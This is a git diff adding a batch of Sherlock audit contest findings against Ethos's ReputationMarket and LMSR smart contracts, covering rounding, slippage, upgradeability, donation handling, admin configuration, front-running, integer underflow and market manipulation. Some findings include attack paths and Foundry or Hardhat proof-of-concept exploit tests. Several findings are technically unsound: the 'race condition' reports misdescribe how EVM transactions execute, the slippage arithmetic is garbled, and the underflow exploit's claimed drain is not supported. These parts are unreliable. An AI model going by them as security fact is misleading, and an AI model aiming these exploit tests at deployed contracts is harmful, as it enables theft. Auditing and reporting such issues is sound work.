+However that rounding is wrong and the function should round depending on if the user buys or sells votes. As currently on every TRUST sell/buy would round down and with every DISTRUST buy/sell it would round up, possibly with time causing the contracts to be insolvent, more on it bellow. + +In order for insolvency to be caused there must be a pool with 0 `creationCost`. That is not only possible, but likely as admins can create pools with whatever creation cost they want, which intuitively suggest that they would create them with 0 `creationCost`, as what's the point in spending the system funds on markets when they can utilize them in another way. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L340-L343 +```solidity + } else { + // when an admin creates a market, there is no minimum creation cost; use whatever they sent + marketFunds[profileId] = msg.value; + } +``` + +Inside this market, if insolvency is achieved the funds would be taken from other markets, causing another market to become insolvent. And if that market also has 0 `creationCost` (many market will be made this way, especially if admins need to make some for mock profiles) these funds would be taken from the buy/sell amount. This means that if the users from the second market decide to sell their votes, all but one last user would be able to exit it. + +### Root Cause + +`_calcCost` rounds based on if the user buys TRUST or DISTRUST + +```solidity + function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + uint256[] memory voteDelta = new uint256[](2); + + if (isBuy) { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] + amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] + amount; + } + } else { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] - amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] - amount; + } + } + + // cost(new) - cost(old) + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + + + cost = positiveCostRatio.mulDiv( + market.basePrice, // 0.01 + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` + +### Internal Pre-conditions + +1. An admin creates a market with 0 `creationFee` + +### External Pre-conditions + +1. Users to use the admin created pool + +### Attack Path + +1. Admin creates a few markets for big entities/personas with 0 creation cost +2. Users use these markets +3. After some time every users sells all their votes from a certain market +4. Due to `_calcCost` rounding he function would round a few wei down +5. The other expensive market becomes insolvent, as the few wei comes from it's own buy/sell funds +6. It's last user is unable to withdraw + +### Impact + +Pools may become insolvent, or the least take funds from other pools, breaking the core invariant + +### PoC + +_No response_ + +### Mitigation + +Fix is extremely simple, just change from `isPositive` to `isBuy` in order to rounds up on buys and down on sells. + +```diff + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++ isBuy ? Math.Rounding.Ceil : Math.Rounding.Floor + ); +``` \ No newline at end of file diff --git a/069.md b/069.md new file mode 100644 index 0000000..f957045 --- /dev/null +++ b/069.md @@ -0,0 +1,108 @@ +Tangy Tortilla Fox + +Medium + +# sellVotes slippage protection is insufficient + +### Summary + +`sellVotes` does not take into account the fees from the trade, getting a worse price for the user, even though he had slippage protection. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539 +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 + ? proceedsBeforeFees / votesToSell + : 0; + + // We are comparing before the fees, should it be that way ? + // uniswap is checking for after fee + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` + +This will lead to users getting worse trades than their slippage protection, due to the fee not being accounted for. Most protocols include their fee inside their slippage protection. For example if we look into uniswap we find out that that's the case there: +https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol#L224 + +```solidity + function swapExactTokensForTokens(... ) external virtual override ensure(deadline) returns (uint[] memory amounts) { + amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); // getAmountsOut used for slippage + require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); +``` +https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol#L62-L70 +```solidity + // performs chained getAmountOut calculations on any number of pairs + function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { + require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); + amounts = new uint[](path.length); + amounts[0] = amountIn; + for (uint i; i < path.length - 1; i++) { + (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); + amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); + } + } + + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { + require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); + uint amountInWithFee = amountIn.mul(997); // We calculate the amountOut while including the fee + uint numerator = amountInWithFee.mul(reserveOut); + uint denominator = reserveIn.mul(1000).add(amountInWithFee); + amountOut = numerator / denominator; + } +``` + +Note that this is opposite to buy's price, as it's slippage taken into account the `total` amount - funds spend + fees paid: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L448-L449 +```solidity + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); +``` + +### Root Cause + +`minimumVotePrice` not accounting the fees from the trade, resulting in worse price for the user. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User sells some votes with slippage protection of 10% +2. Market price moves the price down 10% (but the TX passes) +3. However since the fees are also 10%, he actually gets `90% * 10% = 9%` 19% value diff + +Our user had 10% slippage protection on his price, but sill lost almost 20% of his value (2 times more than his slippage). + +### Impact + +Users lose funds +Slippage protection is insufficient + +### PoC + +_No response_ + +### Mitigation + +Account the slippage after taking the fees. \ No newline at end of file diff --git a/070.md b/070.md new file mode 100644 index 0000000..2eab93a --- /dev/null +++ b/070.md @@ -0,0 +1,56 @@ +Tangy Tortilla Fox + +Medium + +# cntracts sould use `ReentrancyGuardUpgradeable` as it supports upgradable contracts, unlike ReentrancyGuard + +### Summary + +Currently `ReputationMarket` is upgradable and possibly planning upgrade in the future. indicators for such behavior are + +1. `ReputationMarket` using `UUPSUpgradeable` +2. The added gap inside both `ReputationMarket` and it's inherited `AccessControl` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L151 +```solidity + uint256[50] private __gap; +``` +3. `AccessControl` being upgradable too + +However even though the team intentions are for `ReputationMarket` to be upgradable it still lacks the necessary stability as it still uses the normal non-upgradable `ReentrancyGuard`, which has variable in it: + +https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol#L37C1-L40C29 +```solidity + uint256 private constant NOT_ENTERED = 1; + uint256 private constant ENTERED = 2; + + uint256 private _status; +``` + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +1. Oz to add a param inside `ReentrancyGuard` +2. Admins to upgrade the contracts + +### Attack Path + +_No response_ + +### Impact + +Upgrading such contracts may be dangerous as if OZ (notorious for changing their standard contracts) has added some params to `ReentrancyGuard` it would cause a storage collision inside `ReputationMarket`, bricking the contract + +### PoC + +_No response_ + +### Mitigation + +Use `ReentrancyGuardUpgradeable` instead of `ReentrancyGuard` in order to make the contracts more secure. \ No newline at end of file diff --git a/071.md b/071.md new file mode 100644 index 0000000..920f5cc --- /dev/null +++ b/071.md @@ -0,0 +1,90 @@ +Broad Grey Dragon + +Medium + +# Race Condition in Donation Recipient Update Function + +# Summary +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621-L644 +The updateDonationRecipient function allows the current donation recipient of a market to update the recipient address, transferring any existing donation balance to the new recipient. However, due to a lack of sufficient locking mechanisms, this process is vulnerable to a race condition. +# Vulnerability Description + +The updateDonationRecipient function contains a critical flaw where two or more concurrent transactions can lead to an inconsistent state. The key steps in the process are: + +The function checks the sender’s validity as the current donation recipient. + +It updates the donationRecipient mapping to the new recipient. + +The donation balance of the current recipient is transferred to the new recipient. + +However, without atomicity, these operations are not synchronized, allowing an attacker to: + +Call the function multiple times in quick succession using different newRecipient addresses. + +Exploit a gap between the validation and state update to introduce conflicting or unintended recipient addresses. + +### Technical Context + +The race condition arises because the state update for donationRecipient and donationEscrow is not protected by a mutex or other synchronization mechanism. Consequently, a malicious actor or a bot could execute overlapping transactions, disrupting the intended state. +# Impact +Severity: Medium to High +Likelihood: Medium +Impact: High +# Proof of Concept (PoC) + +The following steps outline a PoC to demonstrate the vulnerability: + +Setup: Assume the msg.sender is the current donation recipient for profileId. + +Execute Concurrent Transactions: + +Transaction 1: updateDonationRecipient(profileId, newRecipient1) + +Transaction 2: updateDonationRecipient(profileId, newRecipient2) + +Outcome: + +Both transactions pass the initial validation. + +The donationRecipient mapping and donationEscrow balance are updated inconsistently, resulting in unexpected or incorrect states. +# Recommendations + +To mitigate the race condition, the following measures are recommended: + +Use Reentrancy Guards: Implement a nonReentrant modifier to prevent overlapping calls to updateDonationRecipient. + +Atomic State Updates: Ensure all updates to donationRecipient and donationEscrow occur atomically. This could involve: + +Using local variables to temporarily store intermediate states. + +Committing state changes only after all validations pass. + +Transaction Locks: Introduce a per-profile lock mechanism to ensure that only one update process can occur for a given profileId at any time. + +Event Monitoring: Emit detailed events for each stage of the update process to facilitate debugging and monitoring. + +Code Example: Mitigation +```Solidity +function updateDonationRecipient(uint256 profileId, address newRecipient) + public + whenNotPaused + nonReentrant +{ + if (newRecipient == address(0)) revert ZeroAddress(); + + if (donationEscrow[newRecipient] != 0) revert InvalidMarketConfigOption("Donation recipient has balance"); + + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Atomic Update + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + donationRecipient[profileId] = newRecipient; + + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); +} +``` + diff --git a/072.md b/072.md new file mode 100644 index 0000000..f3ffe86 --- /dev/null +++ b/072.md @@ -0,0 +1,48 @@ +Calm Hotpink Sealion + +Medium + +# Improper Validation in `updateDonationRecipient` function Allows Loss of User Funds + +### Summary + +The `updateDonationRecipient` function in the `reputationMarket.sol` lacks proper validation to prevent a user `(msg.sender)` from setting themselves as the `newRecipient.` This oversight, combined with hardcoding `donationEscrow[msg.sender] = 0,` allows for the complete loss of the user’s donation balance. + + + +### Root Cause + +In [`updateDonationRecipient`,](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621-L644) the function lacks a critical validation check to prevent `msg.sender` from setting themselves as the `newRecipient.` This leads to the following sequence of issues: + +In `ReputationMarket.sol:621-644` +There is no check to ensure `msg.sender != newRecipient.` + +In `RepuationMarket.sol:642`, the balance of `msg.sender` is hardcoded to 0 after the transfer `(donationEscrow[msg.sender] = 0),` leading to a loss of funds if the `newRecipient` is the same address as `msg.sender.` + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +The user intends to change their donation recipient, but due to a lack of validation, they mistakenly set their own address `(msg.sender)` as the `newRecipient.` In this case, the contract will not prevent the user from setting themselves as the recipient. + + + +### Impact + +_No response_ + +### PoC + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621-L644 + +### Mitigation + +Prevent users from setting their own msg.sender address as the new recipient \ No newline at end of file diff --git a/073.md b/073.md new file mode 100644 index 0000000..08660df --- /dev/null +++ b/073.md @@ -0,0 +1,119 @@ +Fun Crepe Lobster + +High + +# Malicious admins will drain protocol funds through misconfigured market parameters + +### Summary + +Improper validation of market configuration parameters will cause fund drainage vulnerability for the protocol as malicious or compromised admins will create markets with insufficient collateralization through parameter manipulation. + +### Root Cause + +In [ReputationMarket.sol:L242-L246](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/ReputationMarket.sol#L242-L246) the validation checks for market configuration parameters do not ensure proper collateralization ratio between creation cost and maximum possible market liability. + +### Internal Pre-conditions + +1. Admin needs to call addMarketConfig() to set liquidity to be exactly 100 +2. Admin needs to set basePrice to be exactly MINIMUM_BASE_PRICE +3. Admin needs to set creationCost to be less than maxVotes * basePrice +4. Market needs to be active (not paused) + +### External Pre-conditions + +1. Admin account needs to be compromised or malicious +2. Network gas cost need to be low enough for profitable exploitation + +### Attack Path + +1. Malicious admin adds new market config with minimum allowed parameters +2. Admin sets extremely low creation cost relative to potential market size +3. Users create markets with minimal collateralization +4. Users can buy maximum votes allowed by LMSR formula +5. Protocol becomes undercollateralized + +### Impact + +The protocol suffers an approximate loss of up to (maxVotes * basePrice - creationCost) ETH per market. In the demonstrated configuration, markets require only 0.01 ETH collateral but can accumulate 1 ETH in liabilities. + +### PoC + +pragma solidity 0.8.26; + +import {ReputationMarket} from "./ReputationMarket.sol"; +import {Test} from "forge-std/Test.sol"; + +contract MarketConfigExploit is Test { + ReputationMarket public market; + address public admin = address(0x1); + address public user = address(0x2); + + function setUp() public { + // Deploy and setup market + market = new ReputationMarket(); + market.initialize( + address(this), // owner + admin, // admin + address(0), // signer + address(0), // verifier + address(this) // contract manager + ); + + // Fund user + vm.deal(user, 1 ether); + } + + function testConfigurationExploit() public { + // Step 1: Admin adds dangerous config + vm.startPrank(admin); + + uint256 minLiquidity = 100; + uint256 minBasePrice = market.MINIMUM_BASE_PRICE(); + uint256 lowCreationCost = 0.01 ether; + + uint256 configIndex = market.addMarketConfig( + minLiquidity, + minBasePrice, + lowCreationCost + ); + + // Step 2: Create market with minimal collateral + vm.startPrank(user); + market.createMarketWithConfig{value: lowCreationCost}(configIndex); + + // Calculate maximum market liability + uint256 maxVotes = minLiquidity * 133; // LMSR limit + uint256 maxLiability = maxVotes * minBasePrice; + + console.log("Market parameters:"); + console.log("Creation cost:", lowCreationCost); + console.log("Max liability:", maxLiability); + console.log("Collateralization ratio:", (lowCreationCost * 100) / maxLiability, "%"); + + // Verify undercollateralization + assertTrue(maxLiability > lowCreationCost, + "Market should be undercollateralized"); + } +} + +### Mitigation + +function addMarketConfig( + uint256 liquidity, + uint256 basePrice, + uint256 creationCost +) public onlyAdmin whenNotPaused returns (uint256) { + // Existing checks... + + // Calculate maximum market liability + uint256 maxVotes = liquidity * 133; // LMSR limit + uint256 maxLiability = maxVotes * basePrice; + + // Require minimum 150% collateralization + require( + creationCost * 100 >= maxLiability * 150, + "Insufficient collateralization ratio" + ); + + // Rest of the function... +} \ No newline at end of file diff --git a/074.md b/074.md new file mode 100644 index 0000000..352686a --- /dev/null +++ b/074.md @@ -0,0 +1,14 @@ +Main Cerulean Goose + +Medium + +# Failure to Reset isParticipant to False for Users Who Have Sold All Their Votes + +**Vulnerability details** The protocol fails to reset the `isParticipant` flag to `false` for users who have sold all their votes, leaving them incorrectly labeled as active participants. While the protocol design explicitly chooses not to remove such users from the participant list, it relies on the isParticipant flag to indicate whether a user has sold all their votes. This behavior is clearly documented in the NatSpec comments on line 131: +```javascript + // profileId => participant address + // append only; don't bother removing. Use isParticipant to check if they've sold all their votes. +``` +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L131C3-L132C101 +**Recommendation** +Update the `SellVote` function to include a check. If a user has sold their entire vote, set the isParticipant flag to `false`. This ensures accurate tracking of active participants. \ No newline at end of file diff --git a/075.md b/075.md new file mode 100644 index 0000000..2da6233 --- /dev/null +++ b/075.md @@ -0,0 +1,104 @@ +Broad Grey Dragon + +High + +# Race Condition Risk in applyFees Function of ReputationMarket.sol + +# Summary +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1086-L1097 +The applyFees function in ReputationMarket.sol is vulnerable to a race condition when modifying the donationEscrow mapping. Specifically, the line: + +```solidity +donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; +``` +This operation can lead to inconsistent or incorrect balances if multiple transactions attempt to modify the same recipient's escrow balance concurrently. This is due to the possibility of parallel updates to the same entry in the mapping, which could result in race conditions. +# Vulnerability Details +Severity: High +Likelihood: Medium to High +Impact: High +### Issue Description: +In the applyFees function of ReputationMarket.sol, the following operation updates the donation escrow balance: + +```solidity +donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; +``` +This line modifies the donationEscrow mapping by adding the donation amount to the balance of a recipient identified by marketOwnerProfileId. + +However, there is a race condition risk here when multiple transactions attempt to interact with the same marketOwnerProfileId and modify the donationEscrow mapping concurrently. A race condition arises because: + +The balance of the recipient is updated using the += operator, which reads the current value and updates it by adding the donation amount. +If two transactions happen at nearly the same time (concurrent transactions involving the same marketOwnerProfileId), both may read the same initial value of the recipient's balance and then add the donation amount. This results in only one of the updates being successfully applied, and the other being overwritten. +As a result, the recipient may end up with less than the expected donation, or donations may be skipped altogether. +### Example of the Race Condition: +Transaction A and Transaction B both interact with the contract for the same marketOwnerProfileId. +Both transactions read the initial value of the recipient’s balance in donationEscrow[donationRecipient[marketOwnerProfileId]]. +Both add the same donation amount, but since they both use the same read value, only one transaction’s update is stored, resulting in a loss of part of the expected donation. +# Potential Impact: +Loss of funds: If two or more transactions modify the same recipient's donation escrow, the donations from each transaction may be undercounted. +Inconsistent state: The contract could end up with an incorrect or inconsistent donation balance for the recipient. +Economic Exploit: Malicious actors could exploit this by triggering simultaneous transactions to intentionally underreport or misappropriate donations. +# PoC +### PoC Steps: +### Scenario Setup: + +Assume that two or more transactions are initiated nearly simultaneously, each calling the applyFees function for the same marketOwnerProfileId (i.e., the same market). +The donationEscrow mapping holds the donations for each market owner, and each call to applyFees will update this value. +Vulnerable Interaction: + +Transaction 1 and Transaction 2 attempt to apply fees for the same market at nearly the same time. +Transaction 1 first checks the donationRecipient mapping, and Transaction 2 does the same. +Both transactions calculate the donation, adding it to the donationEscrow for the given marketOwnerProfileId. +Concurrent Updates: + +Since these transactions are not synchronized and both access the donationEscrow mapping at nearly the same time, Transaction 1 and Transaction 2 might both end up updating the donationEscrow mapping without accounting for each other's changes. +This could lead to double counting or missing donations, depending on the exact sequence of execution. +### Outcome of the Race Condition: + +If the race condition is triggered, the final donationEscrow balance for the marketOwnerProfileId could be incorrect (e.g., too high or too low), affecting the protocol fee collection and escrow withdrawal process. +### PoC Code Example: +```solidity + +// Assume two transactions are initiated with the same marketOwnerProfileId + +// Transaction 1 +applyFees(protocolFeeAmount1, donationAmount1, marketOwnerProfileId); + +// Transaction 2 +applyFees(protocolFeeAmount2, donationAmount2, marketOwnerProfileId); + +// Here, the `donationEscrow[marketOwnerProfileId]` could be incorrectly updated +// depending on the race condition, leading to wrong donation amounts. +``` +In this example: + +Transaction 1 and Transaction 2 both try to update the donationEscrow[marketOwnerProfileId] mapping at the same time. +Since Solidity does not handle the synchronization of these updates, Transaction 2 might overwrite the state set by Transaction 1, leading to the wrong final value. +Exploitation Potential: +Attacker's Goal: Manipulate the donation to favor themselves or steal funds by exploiting the race condition. +If the attacker can trigger many concurrent transactions interacting with the same marketOwnerProfileId, they could cause the contract to fail to properly track the donation amounts, resulting in financial manipulation. +# Recommendation: +Locking Mechanism: Use a mutex or reentrancy guard to prevent multiple concurrent interactions with the same marketOwnerProfileId by locking the donation update process. This will prevent race conditions from occurring and ensure that each transaction's state is handled sequentially. + +Example of a simple locking mechanism: + +```solidity + +// Define a mapping to track the "locked" state for each marketOwnerProfileId +mapping(uint256 => bool) public marketLock; + +modifier lockMarket(uint256 marketOwnerProfileId) { + require(!marketLock[marketOwnerProfileId], "Market is locked"); + marketLock[marketOwnerProfileId] = true; + _; + marketLock[marketOwnerProfileId] = false; +} + +function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId +) private lockMarket(marketOwnerProfileId) returns (uint256 fees) { + // Existing logic for handling fees +} +``` +This ensures that while one transaction is processing for a specific marketOwnerProfileId, no other transaction can concurrently modify the donation escrow, thus preventing the race condition. \ No newline at end of file diff --git a/076.md b/076.md new file mode 100644 index 0000000..e31028f --- /dev/null +++ b/076.md @@ -0,0 +1,34 @@ +Broad Grey Dragon + +High + +# No Protection Against Front-running in Fee Calculation (Preview Functions): previewEntryFees & previewExitFees + +# Summary +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1106-L1112 +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1120-L1125 +The functions previewEntryFees and previewExitFees provide users with estimated costs based on current market conditions. However, these functions do not interact with the blockchain state or guarantee that the prices won’t change by the time the transaction is executed, making them vulnerable to front-running attacks. +# Vulnerability Details +The issue arises because these functions provide fee previews without any protection against the timing of the transaction. In a typical scenario, an attacker could monitor the fee previews, act on the information, and submit their transaction before the original user’s transaction is processed. This is commonly known as a front-running attack. +### Affected Functions: +previewEntryFees: This function calculates the total cost including fees for entering a market. +previewExitFees: This function calculates the total proceeds after subtracting protocol fees for exiting a market. +### How the Attack Works: +The attacker calls previewEntryFees or previewExitFees to view the fee calculations, which are based on the current state of the market. +The attacker observes the fees and determines that they could manipulate the market in a way that would either: +Increase the fees the user will pay by submitting a transaction first. +Manipulate the market state to exploit the user's transaction, resulting in unfair fee conditions. +The attacker then submits their own transaction, exploiting the observed fee conditions before the original user executes their transaction. +This results in the user paying a different (typically higher) fee, or the attacker gaining an advantage through altered market conditions. +### Root Cause: +The fee preview functions (previewEntryFees, previewExitFees) only consider the current market state, which is observable and predictable by external users. There's no mechanism in place to lock in the fees once they are previewed, leading to a window of opportunity for attackers to front-run or manipulate the market state. +# Impact: +Economic Exploitation +Market Manipulation +Severity: High +Likelihood: Medium to High +Impact: Significant + +# Recommendation +Consider implementing a commit-reveal scheme or time-locking mechanisms that prevent attackers from predicting and manipulating the fees between preview and execution. + diff --git a/077.md b/077.md new file mode 100644 index 0000000..6a1e809 --- /dev/null +++ b/077.md @@ -0,0 +1,118 @@ +Fun Crepe Lobster + +High + +# Malicious users will extract excess funds through LMSR cost calculation underflow + +### Summary + +Unsafe integer conversion in LMSR.getCost() will cause fund extraction vulnerability for the protocol as malicious users will manipulate large vote positions to trigger integer underflow, leading to incorrect cost calculations and excess fund withdrawals. + +### Root Cause + +In [LMSR.sol:119](https://github.com/sherlock-audit/2024-12-ethos-update/blob/8d00c21b26274a75c47318f2dbacd9a40742034e/ethos/packages/contracts/contracts/utils/LMSR.sol#L119) the direct conversion of uint256 to int256 without bounds checking allows integer underflow when oldCost is significantly larger than newCost. + +### Internal Pre-conditions + +1. Market needs to have total votes to be at least 100,000 on one side +2. Market's liquidityParameter needs to be exactly 1000 +3. Market needs to be active (not graduated) +4. System needs to set cost difference to be greater than int256.max + +### External Pre-conditions + +1. User needs to have sufficient funds to create large initial position +2. Network gas price needs to be low enough to make exploit profitable + +### Attack Path + +1. Attacker calls buyVotes() with isPositive=true and large position (100,000 votes) +2. Attacker waits for transaction confirmation +3. Attacker calls sellVotes() with almost all votes +4. getCost() calculates cost difference with large oldCost value +5. int256 conversion underflows due to large difference +6. Contract uses underflowed value for fund distribution +7. Attacker receives excess funds + +### Impact + +The protocol suffers an approximate loss of 5-10 ETH per exploit. The attacker gains this amount through incorrect fund distribution due to the integer underflow. + +### PoC + +pragma solidity 0.8.26; + +import {ReputationMarket} from "./ReputationMarket.sol"; +import {LMSR} from "./utils/LMSR.sol"; +import {Test} from "forge-std/Test.sol"; + +contract LMSRUnderflowExploit is Test { + ReputationMarket public market; + address public attacker = address(0x1); + uint256 public profileId = 1; + + function setUp() public { + // Deploy and setup market + market = new ReputationMarket(); + market.initialize( + address(this), + address(this), + address(0), + address(0), + address(this) + ); + + // Create market + market.createMarket{value: 5 ether}(); + + // Fund attacker + vm.deal(attacker, 100 ether); + } + + function testUnderflowExploit() public { + // Step 1: Create large position + vm.startPrank(attacker); + market.buyVotes{value: 50 ether}( + profileId, + true, // isPositive + 100000, // maxVotesToBuy + 1 // minVotesToBuy + ); + + // Record balances before exploit + uint256 initialBalance = address(market).balance; + + // Step 2: Trigger underflow through large sell + market.sellVotes( + profileId, + true, + 99999, // Almost all votes + 0 // No minimum price + ); + + // Verify excess funds withdrawn + uint256 finalBalance = address(market).balance; + uint256 fundsDrained = initialBalance - finalBalance; + + console.log("Initial balance:", initialBalance); + console.log("Final balance:", finalBalance); + console.log("Excess funds drained:", fundsDrained); + + assertTrue(fundsDrained > initialBalance / 2, + "Exploit should drain significant funds"); + } +} + +### Mitigation + +function getCost(...) public pure returns (int256 costDiff) { + uint256 oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); + uint256 newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); + + // Ensure costs don't exceed int256 bounds + require(oldCost <= type(uint256).max >> 1 && + newCost <= type(uint256).max >> 1, + "Cost exceeds safe bounds"); + + costDiff = int256(newCost) - int256(oldCost); +} \ No newline at end of file diff --git a/078.md b/078.md new file mode 100644 index 0000000..fa86400 --- /dev/null +++ b/078.md @@ -0,0 +1,94 @@ +Sticky Sand Porpoise + +Medium + +# Initial buyer can manipulate the market for a small cost or even profit in some cases + +### Summary + +Attacker can manipulate the reputation of a profile to be close to neutral for a cost equal to the fees related to buying votes or even for a profit in volatile markets. +### Root Cause + +LMSR AMM design. +* Attacker can initially buy large amount of positive and negative votes in 1:1 ratio. +* When other users buy votes, attacker sells his position in the same vote as the one user has bought. +* This will keep the ratio of positive to negative 1:1, basically not giving real information about a profile trustworthiness. +* Attacker is winning on his sell, while normal user incur losses. + +LSMR Library: https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/LMSR.sol#L42 +### Internal Pre-conditions + +New market is created +### External Pre-conditions + +N/A +### Attack Path + +Scenario described in Root Cause section has some nuances regarding the profitability of attacker: + +Scenario where users heavily vote only in one direction after initial buy of attacker: +* Attacker is winning on selling his position of the favorable direction, but he does not win on the votes on the other direction. +* Market exceptions do not show the real trustworthiness of a profile, making the whole idea of the reputation market useless. +* If attacker decides that he no longer want to keep the manipulated ratio for the market at 1:1, he can sell all his votes at a cost similar to the cost he has paid to get those votes (will show example in PoC). +* This scenario is more a grief attack, since attacker does not gain any financial profits and will have to pay the entry/exit fees for his votes. + +Scenario where users vote on both directions of a market: +* Attacker is winning on both of his positions buy selling what different people buy. +* As in the previous scenario, market exceptions do not show the real trustworthiness of a profile. +* Instead of just griefing, the attacker makes financial gains buy selling both of his positions. +### Impact + +Manipulated market expections. +In best case scenario, attacker makes profit from this market manipulation. +In worst case scenario, attacker need to pay only the fees associated with buying/selling votes. + +Another impact which is part of the design of LMSR is that with higher liquidity, the cost for buying votes increases and votes affect the market less making it even harder for a market to give the right expectation of reputation of a profile. +### PoC + +Two tests show the described best and worst case scenario for the attack. You can add them in `lmsr.test.ts` file and run with `npm run test:contracts`. + +The main idea of the test is to show the cost for certain trades using the LMSR AMM, cost is essentially what users pay/get from buying/selling votes (scaled with basePrace parameter). + +Examples show only the final outcome of trades since it is the same to buy 100 x 1 vote and but 1 x 100 votes. + +```ts + it.only('best case scenario for attacker', async () => { + // Initial votes when market is created + const votes = 1; + + // Cost for initial buy of positive and negative in 1:1 ratio + const initialCost = await lmsr.getCost(votes, votes, votes + 100, votes + 100, LIQUIDITY_PARAMETER); + + // Normal users has bought 100 positive votes, attacker sells his 100 positive votes + const sellPositiveCost = await lmsr.getCost(votes + 200, votes + 100, votes + 100, votes + 100, LIQUIDITY_PARAMETER); + + // Normal users has bought 100 negative votes, attacker sells his 100 negative votes + const sellNegativeCost = await lmsr.getCost(votes+ 100, votes + 200, votes + 100, votes + 100, LIQUIDITY_PARAMETER); + + expect(initialCost).to.be.lt(-(sellPositiveCost + sellNegativeCost)); + console.log("Initial cost: %s", initialCost); + console.log("Selling cost: %s", -(sellPositiveCost + sellNegativeCost)); + }); + + it.only('worst case scenario for attacker', async () => { + // Initial votes when market is created + const votes = 1; + + // Cost for initial buy of positive and negative in 1:1 ratio + const initialCost = await lmsr.getCost(votes, votes, votes + 100, votes + 100, LIQUIDITY_PARAMETER); + + // Normal users has bought 100 positive votes, attacker sells his 100 positive votes + const sellPositiveCost = await lmsr.getCost(votes + 200, votes + 100, votes + 100, votes + 100, LIQUIDITY_PARAMETER); + + // Attacker decides to sell his negative votes and exit the market + const sellNegativeCost = await lmsr.getCost(votes + 100, votes + 100, votes + 100, votes, LIQUIDITY_PARAMETER); + + expect(initialCost).to.be.closeTo(-(sellPositiveCost + sellNegativeCost), 10000); + console.log("Initial cost: %s", initialCost); + console.log("Selling cost: %s", -(sellPositiveCost + sellNegativeCost)); + }); + +``` +### Mitigation + +I do not think LMSR is well suited for a perpetuals prediction market because of this issue with single user initially buying large amount of votes in both directions. This will make the market impossible to show a real users voting towards positive or negative regarding a profile reputation + attacker can make profit from this. 